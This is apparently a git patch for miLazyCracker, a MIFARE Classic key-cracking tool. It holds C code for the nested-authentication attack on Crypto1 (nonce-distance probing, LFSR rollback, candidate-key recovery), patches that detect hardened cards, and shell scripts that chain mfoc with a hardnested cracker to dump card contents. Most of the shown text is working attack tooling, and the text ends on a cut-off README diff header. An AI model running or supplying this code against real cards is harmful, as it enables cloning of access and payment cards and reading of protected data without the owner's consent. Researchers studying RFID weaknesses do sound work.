-- // Test if we are in the small or big sectors -- return (block < 128) ? ((block + 1) % 4 == 0) : ((block + 1) % 16 == 0); --} -- --// Return position of sector if it is encrypted with the default key otherwise exit.. --int find_exploit_sector(mftag t) --{ -- int i; -- bool interesting = false; -- -- for (i = 0; i < t.num_sectors; i++) { -- if (!t.sectors[i].foundKeyA || !t.sectors[i].foundKeyB) { -- interesting = true; -- break; -- } -- } -- if (!interesting) { -- fprintf(stdout, "\nWe have all sectors encrypted with the default keys..\n\n"); -- return -1; -- } -- for (i = 0; i < t.num_sectors; i++) { -- if ((t.sectors[i].foundKeyA) || (t.sectors[i].foundKeyB)) { -- fprintf(stdout, "\n\nUsing sector %02d as an exploit sector\n", i); -- return i; -- } -- } -- ERR("\n\nNo sector encrypted with the default key has been found, exiting.."); -- exit(EXIT_FAILURE); --} -- --void mf_anticollision(mftag t, mfreader r) --{ -- const nfc_modulation nm = { -- .nmt = NMT_ISO14443A, -- .nbr = NBR_106, -- }; -- if (nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt) < 0) { -- nfc_perror(r.pdi, "nfc_initiator_select_passive_target"); -- ERR("Tag has been removed"); -- exit(EXIT_FAILURE); -- } --} -- --int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA) --{ -- struct Crypto1State *pcs; -- struct Crypto1State *revstate; -- struct Crypto1State *revstate_start; -- -- uint64_t lfsr; -- -- // Possible key counter, just continue with a previous "session" -- uint32_t kcount = pk->size; -- -- uint8_t Nr[4] = { 0x00, 0x00, 0x00, 0x00 }; // Reader nonce -- uint8_t Auth[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 }; -- uint8_t AuthEnc[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 }; -- uint8_t AuthEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; -- -- uint8_t ArEnc[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; -- uint8_t ArEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; -- -- uint8_t Rx[MAX_FRAME_LEN]; // Tag response -- uint8_t RxPar[MAX_FRAME_LEN]; // Tag response -- -- uint32_t Nt, NtLast, NtProbe, NtEnc, Ks1; -- -- int i; -- uint32_t m; -- -- // Prepare AUTH command -- Auth[0] = (t.sectors[e_sector].foundKeyA) ? MC_AUTH_A : MC_AUTH_B; -- iso14443a_crc_append(Auth, 2); -- // fprintf(stdout, "\nAuth command:\t"); -- // print_hex(Auth, 4); -- -- // We need full control over the CRC -- if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, false) < 0) { -- nfc_perror(r.pdi, "nfc_device_set_property_bool crc"); -- exit(EXIT_FAILURE); -- } -- -- // Request plain tag-nonce -- // TODO: Set NP_EASY_FRAMING option only once if possible -- if (nfc_device_set_property_bool(r.pdi, NP_EASY_FRAMING, false) < 0) { -- nfc_perror(r.pdi, "nfc_device_set_property_bool framing"); -- exit(EXIT_FAILURE); -- } -- -- if (nfc_initiator_transceive_bytes(r.pdi, Auth, 4, Rx, sizeof(Rx), 0) < 0) { -- fprintf(stdout, "Error while requesting plain tag-nonce\n"); -- exit(EXIT_FAILURE); -- } -- -- if (nfc_device_set_property_bool(r.pdi, NP_EASY_FRAMING, true) < 0) { -- nfc_perror(r.pdi, "nfc_device_set_property_bool"); -- exit(EXIT_FAILURE); -- } -- // print_hex(Rx, 4); -- -- // Save the tag nonce (Nt) -- Nt = bytes_to_num(Rx, 4); -- -- // Init the cipher with key {0..47} bits -- if (t.sectors[e_sector].foundKeyA) { -- pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyA, 6)); -- } else { -- pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyB, 6)); -- } -- -- // Load (plain) uid^nt into the cipher {48..79} bits -- crypto1_word(pcs, bytes_to_num(Rx, 4) ^ t.authuid, 0); -- -- // Generate (encrypted) nr+parity by loading it into the cipher -- for (i = 0; i < 4; i++) { -- // Load in, and encrypt the reader nonce (Nr) -- ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i]; -- ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nr[i]); -- } -- // Skip 32 bits in the pseudo random generator -- Nt = prng_successor(Nt, 32); -- // Generate reader-answer from tag-nonce -- for (i = 4; i < 8; i++) { -- // Get the next random byte -- Nt = prng_successor(Nt, 8); -- // Encrypt the reader-answer (Nt' = suc2(Nt)) -- ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^(Nt & 0xff); -- ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nt); -- } -- -- // Finally we want to send arbitrary parity bits -- if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, false) < 0) { -- nfc_perror(r.pdi, "nfc_device_set_property_bool parity"); -- exit(EXIT_FAILURE); -- } -- -- // Transmit reader-answer -- // fprintf(stdout, "\t{Ar}:\t"); -- // print_hex_par(ArEnc, 64, ArEncPar); -- int res; -- if (((res = nfc_initiator_transceive_bits(r.pdi, ArEnc, 64, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) { -- ERR("Reader-answer transfer error, exiting.."); -- exit(EXIT_FAILURE); -- } -- -- // Now print the answer from the tag -- // fprintf(stdout, "\t{At}:\t"); -- // print_hex_par(Rx,RxLen,RxPar); -- -- // Decrypt the tag answer and verify that suc3(Nt) is At -- Nt = prng_successor(Nt, 32); -- if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt & 0xFFFFFFFF))) { -- ERR("[At] is not Suc3(Nt), something is wrong, exiting.."); -- exit(EXIT_FAILURE); -- } -- // fprintf(stdout, "Authentication completed.\n\n"); -- -- // If we are in "Get Distances" mode -- if (mode == 'd') { -- for (m = 0; m < d->num_distances; m++) { -- // fprintf(stdout, "Nested Auth number: %x: ,", m); -- // Encrypt Auth command with the current keystream -- for (i = 0; i < 4; i++) { -- AuthEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ Auth[i]; -- // Encrypt the parity bits with the 4 plaintext bytes -- AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]); -- } -- -- // Sending the encrypted Auth command -- if (nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar, Rx, sizeof(Rx), RxPar) < 0) { -- fprintf(stdout, "Error requesting encrypted tag-nonce\n"); -- exit(EXIT_FAILURE); -- } -- -- // Decrypt the encrypted auth -- if (t.sectors[e_sector].foundKeyA) { -- pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyA, 6)); -- } else { -- pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyB, 6)); -- } -- NtLast = bytes_to_num(Rx, 4) ^ crypto1_word(pcs, bytes_to_num(Rx, 4) ^ t.authuid, 1); -- -- // Save the determined nonces distance -- d->distances[m] = nonce_distance(Nt, NtLast); -- int checkForValidPRNG = dist_nt(Nt, NtLast); -- //printf("NT distance: %d\n", checkForValidPRNG); -- -- // if no distance between, then we are in sync. -- if (checkForValidPRNG == 0) { -- printf("NT Distance is zero..........\n"); -- } else { -- if (checkForValidPRNG == -99999) { // invalid nonce received -- ++unexpected_random; -- if (unexpected_random > 4) { -- printf("PRNG is not vulnerable to nested attack\n"); -- return -99999; -- } -- } -- } -- -- // Again, prepare and send {At} -- for (i = 0; i < 4; i++) { -- ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i]; -- ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nr[i]); -- } -- Nt = prng_successor(NtLast, 32); -- for (i = 4; i < 8; i++) { -- Nt = prng_successor(Nt, 8); -- ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^(Nt & 0xFF); -- ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nt); -- } -- nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, false); -- if (((res = nfc_initiator_transceive_bits(r.pdi, ArEnc, 64, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) { -- ERR("Reader-answer transfer error, exiting.."); -- exit(EXIT_FAILURE); -- } -- Nt = prng_successor(Nt, 32); -- if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt & 0xFFFFFFFF))) { -- ERR("[At] is not Suc3(Nt), something is wrong, exiting.."); -- exit(EXIT_FAILURE); -- } -- } // Next auth probe -- -- // Find median from all distances -- d->median = median(*d); -- //fprintf(stdout, "Median: %05d\n", d->median); -- } // The end of Get Distances mode -- -- // If we are in "Get Recovery" mode -- if (mode == 'r') { -- // Again, prepare the Auth command with MC_AUTH_A, recover the block and CRC -- Auth[0] = dumpKeysA ? MC_AUTH_A : MC_AUTH_B; -- Auth[1] = a_sector; -- iso14443a_crc_append(Auth, 2); -- -- // Encryption of the Auth command, sending the Auth command -- for (i = 0; i < 4; i++) { -- AuthEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ Auth[i]; -- // Encrypt the parity bits with the 4 plaintext bytes -- AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]); -- } -- if (nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar, Rx, sizeof(Rx), RxPar) < 0) { -- ERR("while requesting encrypted tag-nonce"); -- exit(EXIT_FAILURE); -- } -- -- // Finally we want to send arbitrary parity bits -- if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, true) < 0) { -- nfc_perror(r.pdi, "nfc_device_set_property_bool parity restore M"); -- exit(EXIT_FAILURE); -- } -- -- if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, true) < 0) { -- nfc_perror(r.pdi, "nfc_device_set_property_bool crc restore M"); -- exit(EXIT_FAILURE); -- } -- -- // Save the encrypted nonce -- NtEnc = bytes_to_num(Rx, 4); -- -- // Parity validity check -- for (i = 0; i < 3; ++i) { -- d->parity[i] = (oddparity(Rx[i]) != RxPar[i]); -- } -- -- // Iterate over Nt-x, Nt+x -- // fprintf(stdout, "Iterate from %d to %d\n", d->median-TOLERANCE, d->median+TOLERANCE); -- NtProbe = prng_successor(Nt, d->median - d->tolerance); -- for (m = d->median - d->tolerance; m <= d->median + d->tolerance; m += 2) { -- -- // Try to recover the keystream1 -- Ks1 = NtEnc ^ NtProbe; -- -- // Skip this nonce after invalid 3b parity check -- revstate_start = NULL; -- if (valid_nonce(NtProbe, NtEnc, Ks1, d->parity)) { -- // And finally recover the first 32 bits of the key -- revstate = lfsr_recovery32(Ks1, NtProbe ^ t.authuid); -- if (revstate_start == NULL) { -- revstate_start = revstate; -- } -- while ((revstate->odd != 0x0) || (revstate->even != 0x0)) { -- lfsr_rollback_word(revstate, NtProbe ^ t.authuid, 0); -- crypto1_get_lfsr(revstate, &lfsr); -- // Allocate a new space for keys -- if (((kcount % MEM_CHUNK) == 0) || (kcount >= pk->size)) { -- pk->size += MEM_CHUNK; -- // fprintf(stdout, "New chunk by %d, sizeof %lu\n", kcount, pk->size * sizeof(uint64_t)); -- pk->possibleKeys = (uint64_t *) realloc((void *)pk->possibleKeys, pk->size * sizeof(uint64_t)); -- if (pk->possibleKeys == NULL) { -- ERR("Memory allocation error for pk->possibleKeys"); -- exit(EXIT_FAILURE); -- } -- } -- pk->possibleKeys[kcount] = lfsr; -- kcount++; -- revstate++; -- } -- free(revstate_start); -- } -- NtProbe = prng_successor(NtProbe, 2); -- } -- // Truncate -- if (kcount != 0) { -- pk->size = --kcount; -- if ((pk->possibleKeys = (uint64_t *) realloc((void *)pk->possibleKeys, pk->size * sizeof(uint64_t))) == NULL) { -- ERR("Memory allocation error for pk->possibleKeys"); -- exit(EXIT_FAILURE); -- } -- } -- } -- crypto1_destroy(pcs); -- return 11; --} -- --// Return the median value from the nonce distances array --uint32_t median(denonce d) --{ -- int middle = (int) d.num_distances / 2; -- qsort(d.distances, d.num_distances, sizeof(uint32_t), compar_int); -- -- if (d.num_distances % 2 == 1) { -- // Odd number of elements -- return d.distances[middle]; -- } else { -- // Even number of elements, return the smaller value -- return (uint32_t)(d.distances[middle - 1]); -- } --} -- --int compar_int(const void *a, const void *b) --{ -- return (*(uint64_t *)b - * (uint64_t *)a); --} -- --// Compare countKeys structure --int compar_special_int(const void *a, const void *b) --{ -- return (((countKeys *)b)->count - ((countKeys *)a)->count); --} -- --countKeys *uniqsort(uint64_t *possibleKeys, uint32_t size) --{ -- unsigned int i, j = 0; -- int count = 0; -- countKeys *our_counts; -- -- qsort(possibleKeys, size, sizeof(uint64_t), compar_int); -- -- our_counts = calloc(size, sizeof(countKeys)); -- if (our_counts == NULL) { -- ERR("Memory allocation error for our_counts"); -- exit(EXIT_FAILURE); -- } -- -- for (i = 0; i < size; i++) { -- if (possibleKeys[i + 1] == possibleKeys[i]) { -- count++; -- } else { -- our_counts[j].key = possibleKeys[i]; -- our_counts[j].count = count; -- j++; -- count = 0; -- } -- } -- qsort(our_counts, j, sizeof(countKeys), compar_special_int); -- return (our_counts); --} -- -- --// Return 1 if the nonce is invalid else return 0 --int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, uint8_t *parity) --{ -- return ((odd_parity((Nt >> 24) & 0xFF) == ((parity[0]) ^ odd_parity((NtEnc >> 24) & 0xFF) ^ BIT(Ks1, 16))) & \ -- (odd_parity((Nt >> 16) & 0xFF) == ((parity[1]) ^ odd_parity((NtEnc >> 16) & 0xFF) ^ BIT(Ks1, 8))) & \ -- (odd_parity((Nt >> 8) & 0xFF) == ((parity[2]) ^ odd_parity((NtEnc >> 8) & 0xFF) ^ BIT(Ks1, 0)))) ? 1 : 0; --} -- --void num_to_bytes(uint64_t n, uint32_t len, uint8_t *dest) --{ -- while (len--) { -- dest[len] = (uint8_t) n; -- n >>= 8; -- } --} -- --long long unsigned int bytes_to_num(uint8_t *src, uint32_t len) --{ -- uint64_t num = 0; -- while (len--) { -- num = (num << 8) | (*src); -- src++; -- } -- return num; --} -diff --git a/mfoc_fix_4k_and_mini.diff b/mfoc_fix_4k_and_mini.diff -new file mode 100644 -index 0000000..c835ad2 ---- /dev/null -+++ b/mfoc_fix_4k_and_mini.diff -@@ -0,0 +1,13 @@ -+diff --git a/src/mfoc.c b/src/mfoc.c -+index 32ef6f7..babbe15 100644 -+--- a/src/mfoc.c -++++ b/src/mfoc.c -+@@ -756,7 +756,7 @@ int main(int argc, char *const argv[]) -+ } -+ -+ // Finally save all keys + data to file -+- uint16_t dump_size = (t.num_blocks + 1) * t.num_sectors; -++ uint16_t dump_size = (t.num_blocks + 1) * 16; -+ if (fwrite(&mtDump, 1, dump_size, pfDump) != dump_size) { -+ fprintf(stdout, "Error, cannot write dump\n"); -+ fclose(pfDump); -diff --git a/mfoc_support_tnp.diff b/mfoc_support_tnp.diff -new file mode 100644 -index 0000000..f00bdf9 ---- /dev/null -+++ b/mfoc_support_tnp.diff -@@ -0,0 +1,21 @@ -+diff --git a/src/mfoc.c b/src/mfoc.c -+index 2c06b16..469b138 100644 -+--- a/src/mfoc.c -++++ b/src/mfoc.c -+@@ -307,7 +307,7 @@ int main(int argc, char *const argv[]) -+ } -+ -+ // Test if a compatible MIFARE tag is used -+- if ((t.nt.nti.nai.btSak & 0x08) == 0) { -++ if (((t.nt.nti.nai.btSak & 0x08) == 0) && (t.nt.nti.nai.btSak != 0x01)) { -+ ERR("only Mifare Classic is supported"); -+ goto error; -+ } -+@@ -318,6 +318,7 @@ int main(int argc, char *const argv[]) -+ // see http://www.nxp.com/documents/application_note/AN10833.pdf Section 3.2 -+ switch (t.nt.nti.nai.btSak) -+ { -++ case 0x01: -+ case 0x08: -+ case 0x88: -+ printf("Found Mifare Classic 1k tag\n"); -diff --git a/mfoc_test_prng.diff b/mfoc_test_prng.diff -new file mode 100644 -index 0000000..3a44c5e ---- /dev/null -+++ b/mfoc_test_prng.diff -@@ -0,0 +1,160 @@ -+diff --git a/src/mfoc.c b/src/mfoc.c -+index 32ef6f7..889669d 100644 -+--- a/src/mfoc.c -++++ b/src/mfoc.c -+@@ -58,6 +58,48 @@ -+ -+ nfc_context *context; -+ -++uint64_t knownKey = 0; -++char knownKeyLetter = 'A'; -++uint32_t knownSector = 0; -++uint32_t unknownSector = 0; -++char unknownKeyLetter = 'A'; -++uint32_t unexpected_random = 0; -++ -++// Determine the distance between two nonces. -++// Assume that the difference is small, but we don't know which is first. -++// Therefore try in alternating directions. -++int32_t dist_nt(uint32_t nt1, uint32_t nt2) { -++ -++ if (nt1 == nt2) return 0; -++ -++ uint16_t i; -++ uint32_t nttmp1 = nt1; -++ uint32_t nttmp2 = nt2; -++ -++ for (i = 1; i < (32768/8); ++i) { -++ nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i; -++ nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -i; -++ -++ nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+1; -++ nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+1); -++ nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+2; -++ nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+2); -++ nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+3; -++ nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+3); -++ nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+4; -++ nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+4); -++ nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+5; -++ nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+5); -++ nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+6; -++ nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+6); -++ nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+7; -++ nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+7); -++ } -++ // either nt1 or nt2 are invalid nonces -++ return(-99999); -++} -++ -++ -+ int main(int argc, char *const argv[]) -+ { -+ const nfc_modulation nm = { -+@@ -117,6 +159,7 @@ int main(int argc, char *const argv[]) -+ -+ mifare_cmd mc; -+ FILE *pfDump = NULL; -++ FILE *pfKey = NULL; -+ -+ //File pointers for the keyfile -+ FILE * fp; -+@@ -200,6 +243,14 @@ int main(int argc, char *const argv[]) -+ } -+ // fprintf(stdout, "Output file: %s\n", optarg); -+ break; -++ case 'D': -++ // Partial File output -++ if (!(pfKey = fopen(optarg, "w"))) { -++ fprintf(stderr, "Cannot open: %s, exiting\n", optarg); -++ exit(EXIT_FAILURE); -++ } -++ // fprintf(stdout, "Output file: %s\n", optarg); -++ break; -+ case 'h': -+ usage(stdout, 0); -+ break; -+@@ -421,14 +472,28 @@ int main(int argc, char *const argv[]) -+ -+ fprintf(stdout, "\n"); -+ for (i = 0; i < (t.num_sectors); ++i) { -+- if(t.sectors[i].foundKeyA) -++ if(t.sectors[i].foundKeyA){ -+ fprintf(stdout, "Sector %02d - Found Key A: %012llx ", i, bytes_to_num(t.sectors[i].KeyA, sizeof(t.sectors[i].KeyA))); -+- else -++ memcpy(&knownKey, t.sectors[i].KeyA, 6); -++ knownKeyLetter = 'A'; -++ knownSector = i; -++ } -++ else{ -+ fprintf(stdout, "Sector %02d - Unknown Key A ", i); -+- if(t.sectors[i].foundKeyB) -++ unknownSector = i; -++ unknownKeyLetter = 'A'; -++ } -++ if(t.sectors[i].foundKeyB){ -+ fprintf(stdout, "Found Key B: %012llx\n", bytes_to_num(t.sectors[i].KeyB, sizeof(t.sectors[i].KeyB))); -+- else -++ knownKeyLetter = 'B'; -++ memcpy(&knownKey, t.sectors[i].KeyB, 6); -++ knownSector = i; -++ } -++ else{ -+ fprintf(stdout, "Unknown Key B\n"); -++ unknownSector = i; -++ unknownKeyLetter = 'B'; -++ } -+ } -+ fflush(stdout); -+ -+@@ -504,7 +569,18 @@ int main(int argc, char *const argv[]) -+ // Max probes for auth for each sector -+ for (k = 0; k < probes; ++k) { -+ // Try to authenticate to exploit sector and determine distances (filling denonce.distances) -+- mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA); // AUTH + Get Distances mode -++ int authresult = mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA); // AUTH + Get Distances mode -++ if(authresult == -99999){ -++ //for now we return the last sector that is unknown -++ nfc_close(r.pdi); -++ nfc_exit(context); -++ if(pfKey) { -++ fprintf(pfKey, "%012llx;%d;%c;%d;%c", knownKey, knownSector, knownKeyLetter, unknownSector, unknownKeyLetter); -++ fclose(pfKey); -++ } -++ return 9; -++ } -++ -+ printf("Sector: %d, type %c, probe %d, distance %d ", j, (dumpKeysA ? 'A' : 'B'), k, d.median); -+ // Configure device to the previous state -+ mf_configure(r.pdi); -+@@ -720,6 +796,7 @@ void usage(FILE *stream, int errno) -+ fprintf(stream, " T nonce tolerance half-range, instead of default of 20\n (i.e., 40 for the total range, in both directions)\n"); -+ // fprintf(stream, " s specify the list of sectors to crack, for example -s 0,1,3,5\n"); -+ fprintf(stream, " O file in which the card contents will be written (REQUIRED)\n"); -++ fprintf(stream, " D file in which partial card info will be written in case PRNG is not vulnerable\n"); -+ fprintf(stream, "\n"); -+ fprintf(stream, "Example: mfoc -O mycard.mfd\n"); -+ fprintf(stream, "Example: mfoc -k ffffeeeedddd -O mycard.mfd\n"); -+@@ -979,7 +1056,21 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d -+ -+ // Save the determined nonces distance -+ d->distances[m] = nonce_distance(Nt, NtLast); -+- // fprintf(stdout, "distance: %05d\n", d->distances[m]); -++ int checkForValidPRNG = dist_nt(Nt, NtLast); -++ //printf("NT distance: %d\n", checkForValidPRNG); -++ -++ // if no distance between, then we are in sync. -++ if (checkForValidPRNG == 0) { -++ printf("NT Distance is zero..........\n"); -++ } else { -++ if (checkForValidPRNG == -99999) { // invalid nonce received -++ ++unexpected_random; -++ if (unexpected_random > 4) { -++ printf("PRNG is not vulnerable to nested attack\n"); -++ return -99999; -++ } -++ } -++ } -+ -+ // Again, prepare and send {At} -+ for (i = 0; i < 4; i++) { -diff --git a/miLazyCracker.sh b/miLazyCracker.sh -old mode 100644 -new mode 100755 -index 655262a..c0677a2 ---- a/miLazyCracker.sh -+++ b/miLazyCracker.sh -@@ -1,71 +1,79 @@ - #!/bin/bash - --mfoc -O /tmp/asdf1234zxcvqwerlkjh0978.mfd -+myUID=$(nfc-list -t 1|sed -n 's/ //g;/UID/s/.*://p') -+TMPFILE_MFD="mfc_${myUID}_dump.mfd" -+TMPFILE_UNK="mfc_${myUID}_unknownMfocSectorInfo.txt" -+TMPFILE_FND="mfc_${myUID}_foundKeys.txt" -+ -+if [ -f "$TMPFILE_FND" ]; then -+ mfoc -f "$TMPFILE_FND" -O "$TMPFILE_MFD" -D "$TMPFILE_UNK" -+else -+ mfoc -O "$TMPFILE_MFD" -D "$TMPFILE_UNK" -+fi - mfocResult=$? - prngNotVulnerable=9 - keepTrying=1 - foundKeysForMFOC=" " - --while [ $keepTrying -eq 1 ] --do --#echo "MFOC result: $mfocResult" --if [ "$mfocResult" == "$prngNotVulnerable" ];then -- echo "MFOC not possible, detected hardened Mifare Classic" -- if [ "$mfocResult" -eq 9 ];then -- FILENAME="/tmp/unknownMfocSectorInfo_123456asdfqwer.txt" -- count=0 -- while read LINE -- do -- let count++ -- #echo "$count $LINE" -- done < $FILENAME -+while [ $keepTrying -eq 1 ]; do -+ #echo "MFOC result: $mfocResult" -+ if [ "$mfocResult" == "$prngNotVulnerable" ]; then -+ echo "MFOC not possible, detected hardened Mifare Classic" -+ if [ "$mfocResult" -eq 9 ]; then -+ count=0 -+ while read LINE; do -+ let count++ -+ #echo "$count $LINE" -+ done < "$TMPFILE_UNK" - -- arr=(`echo $LINE | tr ';' ' '`) -- #echo ${arr[0]} -- #echo ${arr[1]} -- #echo ${arr[2]} -- #echo ${arr[3]} -- #echo ${arr[4]} -+ arr=(`echo $LINE | tr ';' ' '`) -+ #echo ${arr[0]} -+ #echo ${arr[1]} -+ #echo ${arr[2]} -+ #echo ${arr[3]} -+ #echo ${arr[4]} - -- knownKey=${arr[0]} -- knownSectorNum=${arr[1]} -- knownKeyLetter=${arr[2]} -- unknownSectorNum=${arr[3]} -- unknownKeyLetter=${arr[4]} -- knownBlockNum=$(($knownSectorNum * 4)) -- unknownBlockNum=$(($unknownSectorNum * 4)) -- echo "Trying HardNested Attack..." -- mycmd=(libnfc_crypto1_crack "$knownKey" "$knownBlockNum" "$knownKeyLetter" "$unknownBlockNum" "$unknownKeyLetter") -- echo "${mycmd[@]}" -- "${mycmd[@]}" -+ knownKey=${arr[0]} -+ knownSectorNum=${arr[1]} -+ knownKeyLetter=${arr[2]} -+ unknownSectorNum=${arr[3]} -+ unknownKeyLetter=${arr[4]} -+ knownBlockNum=$(($knownSectorNum * 4)) -+ unknownBlockNum=$(($unknownSectorNum * 4)) -+ echo "Trying HardNested Attack..." -+ mycmd=(libnfc_crypto1_crack "$knownKey" "$knownBlockNum" "$knownKeyLetter" "$unknownBlockNum" "$unknownKeyLetter" "$TMPFILE_FND") -+ echo "${mycmd[@]}" -+ "${mycmd[@]}" - else -- echo "mfoc returned: $mfocResult" -- keepTrying=0 -- fi -+ echo "mfoc returned: $mfocResult" -+ keepTrying=0 -+ fi - - cryptoCrackResult=$? - if [ "$cryptoCrackResult" -eq 0 ];then -- FILENAME="/tmp/foundKey_Crapto1_Libnfc_1234567890qwerasdf.txt" -- while read LINE -- do -- echo "$LINE" -- done < $FILENAME -+ while read LINE -+ do -+ echo "$LINE" -+ done < "$TMPFILE_FND" - -- #arr=(`echo $LINE | tr ';' ' '`) -- #echo ${arr[0]} -- #echo ${arr[1]} -- #echo ${arr[2]} -- #foundKeysForMFOC="$foundKeysForMFOC-k ${arr[0]} " -- mycmd=(mfoc -f "$FILENAME" -O /tmp/asdf1234zxcvqwerlkjh0978.mfd) -- echo "${mycmd[@]}" -- "${mycmd[@]}" -- mfocResult=$? -+ #arr=(`echo $LINE | tr ';' ' '`) -+ #echo ${arr[0]} -+ #echo ${arr[1]} -+ #echo ${arr[2]} -+ #foundKeysForMFOC="$foundKeysForMFOC-k ${arr[0]} " -+ mycmd=(mfoc -f "$TMPFILE_FND" -O "$TMPFILE_MFD" -D "$TMPFILE_UNK") -+ echo "${mycmd[@]}" -+ "${mycmd[@]}" -+ mfocResult=$? - fi --else -- keepTrying=0 --fi -+ else -+ keepTrying=0 -+ fi - done - --rm -rf /tmp/asdf1234zxcvqwerlkjh0978.mfd --rm -rf /tmp/foundKey_Crapto1_Libnfc_1234567890qwerasdf.txt --rm -rf /tmp/unknownMfocSectorInfo_123456asdfqwer.txt -+rm -f "$TMPFILE_UNK" "$TMPFILE_FND" "0x${myUID}_"*".txt" -+if [ $mfocResult -eq 0 ]; then -+ echo -e "\n\nDump left in: $TMPFILE_MFD" -+else -+ rm -f "$TMPFILE_MFD" -+fi -diff --git a/miLazyCrackerFreshInstall.sh b/miLazyCrackerFreshInstall.sh -index 8988255..0b02392 100755 ---- a/miLazyCrackerFreshInstall.sh -+++ b/miLazyCrackerFreshInstall.sh -@@ -1,26 +1,40 @@ --#run this from inside miLazyCracker git repo -+#!/bin/bash - --sudo apt-get install git --sudo apt-get install libnfc-bin --sudo apt-get install autoconf --sudo apt-get install libnfc-dev -+set -x - --#install MFOC --git clone https://github.com/nfc-tools/mfoc.git -+# run this from inside miLazyCracker git repo -+ -+sudo apt-get install git libnfc-bin autoconf libnfc-dev -+ -+# install MFOC -+[ -d mfoc ] || git clone https://github.com/nfc-tools/mfoc.git - cd mfoc --cp ../mfoc.c src/ #copy in modified mfoc.c --sudo autoreconf -vfi -+git reset --hard -+git clean -dfx -+# patch initially done against commit 48156f9b: -+patch -p1 < ../mfoc_test_prng.diff -+patch -p1 < ../mfoc_fix_4k_and_mini.diff -+patch -p1 < ../mfoc_support_tnp.diff -+autoreconf -vfi - ./configure --sudo make -+make - sudo make install - - cd .. - --#install Hardnested Attack Tool --git clone https://github.com/aczid/crypto1_bs -+# install Hardnested Attack Tool -+[ -d crypto1_bs ] || git clone https://github.com/aczid/crypto1_bs - cd crypto1_bs --cp ../libnfc_crypto1_crack.c . #copy in modified .c -+git reset --hard -+git clean -dfx -+# patch initially done against commit 957702be: -+patch -p1 < ../crypto1_bs.diff - make get_craptev1 - make get_crapto1 - make --sudo cp libnfc_crypto1_crack /usr/bin -+sudo cp -a libnfc_crypto1_crack /usr/local/bin -+ -+cd .. -+ -+# install our script -+sudo cp -a miLazyCracker.sh /usr/local/bin/miLazyCracker -diff --git a/miLazyCrackerUninstall.sh b/miLazyCrackerUninstall.sh -new file mode 100755 -index 0000000..51ec2f0 ---- /dev/null -+++ b/miLazyCrackerUninstall.sh -@@ -0,0 +1,16 @@ -+#!/bin/bash -+ -+# uninstall dependencies -+#sudo apt-get remove git -+#sudo apt-get remove libnfc-bin -+#sudo apt-get remove autoconf -+#sudo apt-get remove libnfc-dev -+ -+# uninstall MFOC -+sudo rm -f /usr/local/bin/mfoc /usr/local/share/man/man1/mfoc.1 -+ -+# uninstall Hardnested Attack Tool -+sudo rm -f /usr/local/bin/libnfc_crypto1_crack -+ -+# uninstall our script -+sudo rm -f /usr/local/bin/miLazyCracker --- -2.11.0 - diff --git a/README.md b/README.md index 5a8bc95..8d72189 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,17 